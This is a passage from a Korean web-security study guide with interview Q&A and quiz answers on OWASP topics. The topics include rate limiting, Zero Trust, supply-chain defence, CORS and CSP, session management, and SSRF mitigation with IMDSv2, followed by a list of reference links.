전략: 1) Fixed Window, 2) Sliding Window, 3) Token Bucket, 4) Leaky Bucket. 분산 환경에서는 Redis 같은 중앙 저장소를 사용해 모든 서버에서 일관된 카운팅을 해야 합니다. IP 기반 + 사용자 ID 기반 복합 제한이 효과적입니다.
심화 질문
**Q11: Zero Trust 아키텍처란 무엇이며, 전통적 경계 보안과 어떻게 다른가요?**
전통적 보안은 네트워크 경계(방화벽)를 기반으로 내부를 신뢰합니다. Zero Trust는 "절대 신뢰하지 말고, 항상 검증하라"는 원칙으로, 내부 트래픽도 검증합니다. 핵심 요소: 최소 권한, 마이크로세그먼테이션, 지속적 검증, 암호화 통신.
**Q12: 공급망 공격(Supply Chain Attack)을 방어하는 방법은?**
1) 의존성 잠금 파일(lockfile) 사용 및 무결성 검증, 2) SRI(Subresource Integrity) 해시 적용, 3) SBOM 유지, 4) CI/CD 파이프라인 보안 (코드 서명, 아티팩트 검증), 5) 최소 의존성 원칙.
**Q13: CORS와 CSP의 차이점과 각각의 역할을 설명하세요.**
CORS는 브라우저의 동일 출처 정책을 완화하여 다른 오리진의 리소스 접근을 제어합니다 (서버 간 API 호출). CSP는 페이지 내에서 로드할 수 있는 리소스의 출처를 제한합니다 (XSS 방어). CORS는 "누가 내 API를 호출할 수 있는가", CSP는 "내 페이지에서 무엇을 로드할 수 있는가"입니다.
**Q14: DevSecOps에서 Shift Left의 의미와 구현 방법은?**
Shift Left는 보안 활동을 개발 초기 단계로 이동시키는 것입니다. 구현: 1) IDE에서 SAST 플러그인 사용, 2) Pre-commit hook으로 시크릿 스캔, 3) PR 리뷰에 보안 체크 자동화, 4) 스프린트 위협 모델링, 5) 개발자 보안 교육.
**Q15: 세션 관리의 모범 사례 5가지를 설명하세요.**
1) 암호학적으로 안전한 랜덤 세션 ID 생성 (최소 128비트), 2) HTTPS 전용 + HttpOnly + Secure + SameSite 쿠키 속성, 3) 로그인/권한 변경 시 세션 ID 재생성, 4) 절대/유휴 타임아웃 설정, 5) 로그아웃 시 서버측 세션 완전 무효화.
17. 퀴즈
**A01: Broken Access Control**입니다. 2017년에는 5위였으나, API 기반 아키텍처의 확산으로 권한 제어 실수가 증가하면서 1위로 올라갔습니다.
**파라미터화된 쿼리(Prepared Statement)** 입니다. 쿼리 구조와 데이터를 분리하여 사용자 입력이 SQL 명령으로 해석되는 것을 원천적으로 차단합니다. ORM 사용도 같은 원리로 방어됩니다.
169.254.169.254는 **클라우드 인스턴스 메타데이터 서비스** 주소입니다. SSRF로 접근하면 IAM 크레덴셜, 환경 변수, 네트워크 구성 등 민감한 정보를 탈취할 수 있습니다. AWS IMDSv2를 사용하면 PUT 요청으로 토큰을 먼저 발급받아야 하므로 SSRF 공격이 어려워집니다.
'unsafe-inline'을 허용하면 **인라인 스크립트 실행이 가능**해져 XSS 공격에 취약해집니다. 대신 nonce-based CSP를 사용하여 각 인라인 스크립트에 고유한 nonce 값을 부여하고, 해당 nonce가 있는 스크립트만 실행을 허용해야 합니다.
1) **절대 신뢰하지 않는다(Never Trust):** 내부 네트워크라도 모든 요청을 검증합니다.
2) **항상 검증한다(Always Verify):** 모든 접근에 인증과 권한 검사를 수행합니다.
3) **최소 권한(Least Privilege):** 필요한 최소한의 권한만 부여하고, 정기적으로 검토합니다.
참고 자료
- [OWASP Top 10 2021 공식 문서](https://owasp.org/www-project-top-ten/)
- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [OWASP ASVS (Application Security Verification Standard)](https://owasp.org/www-project-application-security-verification-standard/)
- [IBM Cost of a Data Breach Report 2024](https://www.ibm.com/reports/data-breach)
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
- [CWE (Common Weakness Enumeration)](https://cwe.mitre.org/)
- [CVE (Common Vulnerabilities and Exposures)](https://cve.mitre.org/)
- [MDN Web Security](https://developer.mozilla.org/en-US/docs/Web/Security)
- [Google Web Security Guidelines](https://developers.google.com/web/fundamentals/security)
- [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/)
- [Helmet.js Documentation](https://helmetjs.github.io/)
- [OWASP ZAP](https://www.zaproxy.org/)
- [Snyk Learn - Security Education](https://learn.snyk.io/)
- [PortSwigger Web Security Academy](https://portswigger.net/web-security)
현재 단락 (1/649)
2024년 IBM의 Cost of a Data Breach Report에 따르면 데이터 유출 사고의 **평균 비용은 488만 달러**에 달합니다. 더 충격적인 사실은 **유출 사고...